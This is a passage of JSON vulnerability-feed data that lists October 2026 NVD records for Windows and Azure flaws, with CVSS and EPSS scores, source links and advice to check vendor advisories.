exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:30.730Z","updatedAt":"2026-10-16T16:22:31.920Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88121","asOf":"2026-10-16T16:22:31.920Z"},"epss":{"probability":0.00554,"percentile":0.45977,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88121&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88121","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88121","type":"primary","publishedAt":"2026-10-13T19:21:30.730Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88121&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88121, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88120","cveId":"CVE-2026-88120","aliases":[],"kind":"vulnerability","title":"Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:30.587Z","updatedAt":"2026-10-13T21:19:46.673Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88120","asOf":"2026-10-13T21:19:46.673Z"},"epss":{"probability":0.0078,"percentile":0.5564,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88120&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88120","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88120","type":"primary","publishedAt":"2026-10-13T19:21:30.587Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88120&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88120, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88119","cveId":"CVE-2026-88119","aliases":[],"kind":"vulnerability","title":"Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:30.440Z","updatedAt":"2026-10-13T21:19:46.550Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88119","asOf":"2026-10-13T21:19:46.550Z"},"epss":{"probability":0.0078,"percentile":0.55641,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88119&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88119","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88119","type":"primary","publishedAt":"2026-10-13T19:21:30.440Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88119&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88119, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88118","cveId":"CVE-2026-88118","aliases":[],"kind":"vulnerability","title":"Integer overflow or wraparound in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.","summary":"Integer overflow or wraparound in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.","detail":"Integer overflow or wraparound in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:30.250Z","updatedAt":"2026-10-16T16:22:31.530Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88118","asOf":"2026-10-16T16:22:31.530Z"},"epss":{"probability":0.0042,"percentile":0.36,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88118&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88118","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88118","type":"primary","publishedAt":"2026-10-13T19:21:30.250Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88118&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88118, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88117","cveId":"CVE-2026-88117","aliases":[],"kind":"vulnerability","title":"Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:30.107Z","updatedAt":"2026-10-13T21:19:46.267Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88117","asOf":"2026-10-13T21:19:46.267Z"},"epss":{"probability":0.00711,"percentile":0.53281,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88117&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88117","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88117","type":"primary","publishedAt":"2026-10-13T19:21:30.107Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88117&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88117, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88115","cveId":"CVE-2026-88115","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Server for NFS allows an unauthorized attacker to execute code over a network.","summary":"Out-of-bounds read in Windows Server for NFS allows an unauthorized attacker to execute code over a network.","detail":"Out-of-bounds read in Windows Server for NFS allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:29.767Z","updatedAt":"2026-10-17T04:17:08.190Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88115","asOf":"2026-10-17T04:17:08.190Z"},"epss":{"probability":0.00719,"percentile":0.53597,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88115&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88115","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88115","type":"primary","publishedAt":"2026-10-13T19:21:29.767Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88115&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88115, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88113","cveId":"CVE-2026-88113","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:29.360Z","updatedAt":"2026-10-16T16:22:30.837Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88113","asOf":"2026-10-16T16:22:30.837Z"},"epss":{"probability":0.00258,"percentile":0.17254,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88113&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88113","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88113","type":"primary","publishedAt":"2026-10-13T19:21:29.360Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88113&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88113, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88110","cveId":"CVE-2026-88110","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:29.060Z","updatedAt":"2026-10-13T21:19:45.487Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88110","asOf":"2026-10-13T21:19:45.487Z"},"epss":{"probability":0.00286,"percentile":0.20921,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88110&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88110","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88110","type":"primary","publishedAt":"2026-10-13T19:21:29.060Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88110&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88110, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88107","cveId":"CVE-2026-88107","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:28.787Z","updatedAt":"2026-10-16T16:22:30.347Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88107","asOf":"2026-10-16T16:22:30.347Z"},"epss":{"probability":0.00157,"percentile":0.04784,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88107&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88107","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88107","type":"primary","publishedAt":"2026-10-13T19:21:28.787Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88107&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88107, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88106","cveId":"CVE-2026-88106","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:28.620Z","updatedAt":"2026-10-16T16:22:30.160Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88106","asOf":"2026-10-16T16:22:30.160Z"},"epss":{"probability":0.00204,"percentile":0.10314,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88106&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88106","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88106","type":"primary","publishedAt":"2026-10-13T19:21:28.620Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88106&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88106, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88094","cveId":"CVE-2026-88094","aliases":[],"kind":"vulnerability","title":"Improper neutralization of special elements in output used by a downstream component ('injection') in Azure Storage Library allows an authorized attacker to elevate privileges...","summary":"Improper neutralization of special elements in output used by a downstream component ('injection') in Azure Storage Library allows an authorized attacker to elevate privileges over a network.","detail":"Improper neutralization of special elements in output used by a downstream component ('injection') in Azure Storage Library allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:27.320Z","updatedAt":"2026-10-16T14:19:00.340Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Azure"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88094","asOf":"2026-10-16T14:19:00.340Z"},"epss":{"probability":0.0082,"percentile":0.56969,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88094&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88094","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88094","type":"primary","publishedAt":"2026-10-13T19:21:27.320Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88094&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88094, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87708","cveId":"CVE-2026-87708","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:23.943Z","updatedAt":"2026-10-16T16:22:25.213Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87708","asOf":"2026-10-16T16:22:25.213Z"},"epss":{"probability":0.00252,"percentile":0.16478,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87708&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87708","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87708","type":"primary","publishedAt":"2026-10-13T19:21:23.943Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87708&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87708, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87707","cveId":"CVE-2026-87707","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Fax and Scan Service allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Fax and Scan Service allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Fax and Scan Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:23.760Z","updatedAt":"2026-10-13T21:19:38.900Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87707","asOf":"2026-10-13T21:19:38.900Z"},"epss":{"probability":0.00245,"percentile":0.15629,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87707&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87707","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87707","type":"primary","publishedAt":"2026-10-13T19:21:23.760Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87707&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87707, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87706","cveId":"CVE-2026-87706","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Storage Spaces Controller allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Storage Spaces Controller allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Storage Spaces Controller allows an authorized attacker to elevate privileges 